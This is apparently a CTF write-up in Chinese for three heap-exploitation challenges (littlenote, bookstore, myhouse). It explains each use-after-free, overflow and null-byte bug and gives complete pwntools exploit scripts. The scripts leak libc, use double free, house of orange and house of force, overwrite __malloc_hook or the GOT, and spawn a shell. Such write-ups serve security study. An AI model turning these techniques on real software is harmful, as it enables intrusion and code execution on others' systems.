保护全开的堆利用程序,有add、show、delete功能,delete模块有UAF漏洞。
add: 只能申请size为0x71或0x31的堆块
show: 显示堆块内容
delete: 存在UAF
攻击思路:
1.利用UAF,删除堆块,再读取数据,泄漏heap地址
2.再次利用UAF漏洞,将fd指针篡改到某堆块中间,就能继续输入数据改写下一个相邻chunk的size,把size改大,然后free,就能使其进入unsortedbin,从而泄漏libc地址
3.第三次利用UAF做double free,向malloc_hook填入one_gadget地址
exp:
from pwn import * env=os.environ env['LD_PRELOAD']='./littlenote.so' context.log_level='debug' r=process('./littlenote') def add(cont): r.recvuntil('Your choice:') r.sendline('1') r.recvuntil('note') r.send(cont) r.recvuntil('?') r.sendline('Y') def add2(cont): r.recvuntil('Your choice:') r.sendline('1') r.recvuntil('note') r.send(cont) r.recvuntil('?') r.sendline('N') def show(idx): r.recvuntil('Your choice:') r.sendline('2') r.recvuntil('?') r.sendline(str(idx)) def delete(idx): r.recvuntil('Your choice:') r.sendline('3') r.recvuntil('?') r.sendline(str(idx)) #use UAF to leak heap add('0'*8)#0 add('1'*8)#1 add('2'*8)#2 add('3'*0x20)#3 add('4'*0x20)#4 delete(1) delete(2) show(2) r.recv(1) heap1=u64(r.recvline()[:-1].ljust(8,'\x00')) print hex(heap1) #fastbin double free,changing size to 0xe1 and leak libc delete(1) add(p64(heap1+0x40))#5 add('6'*0x60)#6 add('7'*0x38+p64(0x7f))#7 add('z'*0x20+p64(0)+p64(0xe1))#8 delete(6) show(2) r.recv(1) leakl=u64(r.recvline()[:-1].ljust(8,'\x00')) lbase=leakl-0x7ffff7dd1b78+0x7ffff7a0d000 one=lbase+0xf0274 mhk=leakl-0x68 #fastbin double free,changing __malloc_hook to one_shot add('9'*0x20)#9 add('a'*0x20)#10 delete(9) delete(10) delete(9) add(p64(mhk-0x23))#11 add('c'*0x60)#12 add('d'*0x38+p64(0x7f))#13 add('e'*0x13+p64(one))#14 print hex(leakl) print hex(lbase) print hex(one) #trigger delete(3) delete(3) #gdb.attach(r) r.interactive()
PIE和canary保护没有开启,有addbook、readbook、sellbook功能。
addbook:当readn的size=0时,会触发严重的堆溢出漏洞
readbook:
sellbook:
readn:当参数a2为0时,遇到’\n’才退出循环,可以写入超长字节,导致堆溢出
攻击思路:
1.利用溢出漏洞将下一个chunk size改大,再free,使其进入unsorted bin,从而泄露libc地址
2.进行house of orange攻击,即首先做unsortedbin attack,覆盖_IO_list_all,同时伪造old top chunk位置的size=0x61,使其对应于smallbin[4],再准备好’/bin/sh’字符串和新的vtable地址,这样,malloc报错时就能跳转到vtable,在执行系统内部流程的时候执行system(‘/bin/sh’)
exp:
from pwn import *
env=os.environ
env['LD_PRELOAD']='./bookstore.so'
context.log_level='debug'
r=process('./bookstore')
def add(author,size,cont):
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline(author)
r.recvuntil('How long is the book name?')
r.sendline(str(size))
r.recvuntil('What is the name of the book?')
r.sendline(cont)
def delete(idx):
r.recvuntil('Your choice:')
r.sendline('2')
r.recvuntil('?')
r.sendline(str(idx))
def show(idx):
r.recvuntil('Your choice:')
r.sendline('3')
r.recvuntil('?')
r.sendline(str(idx))
add('a'*0x10,0,'0'*0x10)#0
add('b'*0x10,0x40,'1'*0x10)#1
add('c'*0x10,0x40,'2'*0x10)#2
add('d'*0x10,0x40,'3'*0x10)#3
delete(0)
add('a'*0x10,0,'0'*0x18+p64(0xa1))#0
delete(1)
add('b',0,'1'*1)#1
show(1)
r.recvuntil('\x65\x3a')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print "lleak:"+hex(lleak)
lbase=lleak-0x7ffff7dd1c31+0x7ffff7a0d000
sys=lbase-0x7ffff7a0d000+0x7ffff7a52390
sh=lbase-0x7ffff7a0d000+0x7ffff7b99d17
iolistall=lbase-0x7ffff7a0d000+0x7ffff7dd2520
strjumps=lbase-0x7ffff7a0d000+0x7ffff7dd07a0
fire=p64(0)+p64(0x61)+p64(0)+p64(iolistall-0x10)+p64(0)+p64(1)+p64(0)+p64(sh)+p64(0)*19+p64(strjumps-8)
fire=fire.ljust(0xe8,'\x00')+p64(sys)
add('e',0,'\x00'*0x10+fire)#4
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline('test')
r.recvuntil('How long is the book name?')
r.sendline(str(0x40))
r.interactive()
开启了NX和canary保护:
程序主要有两个漏洞:
1.可以向任意地址写一个字节’\x00’
2.owner和housen字段相连,如果输入末尾没有’\x00’,可以泄露堆地址
攻击思路:
1.原本考虑向_IO_buf_base写’\x00’,从而改写_IO_buf_end,在_IO_2_1_stdin_上做溢出,后来发现该题不满足条件,不能指向_IO_buf_end。于是考虑将main_arena的top指针最低字节改为’\x00’,指向堆的其他位置,同时在该位置构造0xffffffffffffffff的size,进行house of force攻击。首先malloc很大的堆块,例如0x200000,就能开辟mapped段,它与libc段的偏移是固定的,就能向main_arena的top写'\x00'
2.利用house of force把堆块分配到bss段,篡改desc等指针指向atoi函数的GOT表,泄露并篡改GOT表,最终获得shell
exp:
from pwn import *
env=os.environ
env['LD_PRELOAD']='./myhouse.so'
context.log_level='debug'
libc=ELF('./myhouse.so')
r=process('./myhouse')
def addroom(size):
r.recvuntil('Your choice:\n')
r.sendline('1')
r.recvuntil('What is the size of your room?')
r.sendline(str(size))
def editroom(cont):
r.recvuntil('Your choice:')
r.sendline('2')
r.recvuntil('shining!')
r.send(cont)
def show():
r.recvuntil('Your choice:')
r.sendline('3')
#step 1:write '\x00' to main_arena's top_chunk pointer and set top's size
r.recvuntil('name?')
r.send('a'*0x20)
r.recvuntil('name of your house?')
r.send('b'*0xf8+p64(0xffffffffffffffff))
r.recvuntil('size of your house?')
r.sendline(str(0x5c5b69))
r.recvuntil('Too large!')
r.sendline(str(0x200000))
r.recvuntil('Give me its description:')
r.send('c'*0x30)
#step 2:leak heap address
show()
r.recvuntil('a'*0x20)
heap=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "heap:"+hex(heap)
#step 3:house of force
bssp=0x6020c0
addroom(bssp-(heap+0xf0)-0x20)
addroom(0x60)
#step 4:leak GOT and change GOT
got_atoi=0x602058
editroom(p64(got_atoi)+p64(got_atoi))
show()
r.recvuntil('And description:\n')
atoi=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "atoi:"+hex(atoi)
sys=atoi-libc.symbols['atoi']+libc.symbols['system']
editroom(p64(sys))
r.sendline('sh')
r.interactive()